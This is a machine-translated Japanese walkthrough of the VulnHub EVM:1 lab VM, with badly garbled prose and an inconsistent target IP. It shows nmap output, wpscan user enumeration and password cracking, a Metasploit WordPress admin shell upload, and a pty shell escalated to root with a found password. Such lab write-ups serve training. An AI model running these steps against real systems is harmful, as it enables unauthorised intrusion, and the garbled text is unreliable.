ビルドにI.環境
https://www.vulnhub.com/entry/evm-1,391/
卵子のダウンロードイメージファイル、VBOXのインポート2つの仮想NICを設定し、それぞれNATモードとホストオンリーモード（デフォルトのネットワークカードの設定の変更）
IPは192.168.124.156です
：第二の情報収集
（ポートスキャン）
nmap -A 192.168.124.56
Starting Nmap 7.70 ( https://nmap.org ) at 2019-12-16 01:45 EST
Nmap scan report for localhost (192.168.124.56)
Host is up (0.00035s latency).
Not shown: 993 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a2:d3:34:13:62:b1:18:a3:dd:db:35:c5:5a:b7:c0:78 (RSA)
| 256 85:48:53:2a:50:c5:a0:b7:1a:ee:a4:d8:12:8e:1c:ce (ECDSA)
|_ 256 36:22:92:c7:32:22:e3:34:51:bc:0e:74:9f:1c:db:aa (ED25519)
53/tcp open domain ISC BIND 9.10.3-P4 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.10.3-P4-Ubuntu
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
110/tcp open pop3?
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp open imap Dovecot imapd
|_imap-capabilities: CAPABILITY
445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
MAC Address: 00:0C:29:C4:5F:AA (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: Host: UBUNTU-EXTERMELY-VULNERABLE-M4CH1INE; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: 1h39m59s, deviation: 2h53m12s, median: 0s
|_nbstat: NetBIOS name: UBUNTU-EXTERMEL, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
| Computer name: ubuntu-extermely-vulnerable-m4ch1ine
| NetBIOS computer name: UBUNTU-EXTERMELY-VULNERABLE-M4CH1INE\x00
| Domain name: \x00
| FQDN: ubuntu-extermely-vulnerable-m4ch1ine
|_ System time: 2019-12-16T01:48:21-05:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2019-12-16 01:48:21
|_ start_date: N/A（ディレクトリスキャン）
ディレクトリスキャンの開始DIRB DIRB http://192.168.124.56/
彼は以前に使用ワードプレスを持っていたことを見てスキャンディレクトリから、その最初のツールを試してみてくださいwpscan
wpscan --url http://192.168.124.56/wordpress/ -eu
首尾よく彼のパスワードをクラックし続ける今、口座c0rrupt3d_brainを得る
--url wpscan http://192.168.124.56/wordpress/ -eu -P /chen.txt
成功裏にパスワードを割れた24992499
今モジュールmsfconsoleを使用して開始
unix/webapp/wp_admin_shell_upload
set RhOSTS 192.168.124.56
set USERNAME c0rrupt3d_brain
set PassWORD 24992499
set targeturi /wordpress
run自分のホームディレクトリには、CD root3rに直接アクセスした後、私は、ファイルがrootのパスワードファイルの後に来るようです見つけ
下の次のインタラクションページので、パスワードを入力することが知られているので、今、あなたは、パスワードのようですそれを見つけることができます。
shell
python -c "import pty;pty.spawn('/bin/bash')"
su rootパスワードは次のとおりです。willy26
成功しました根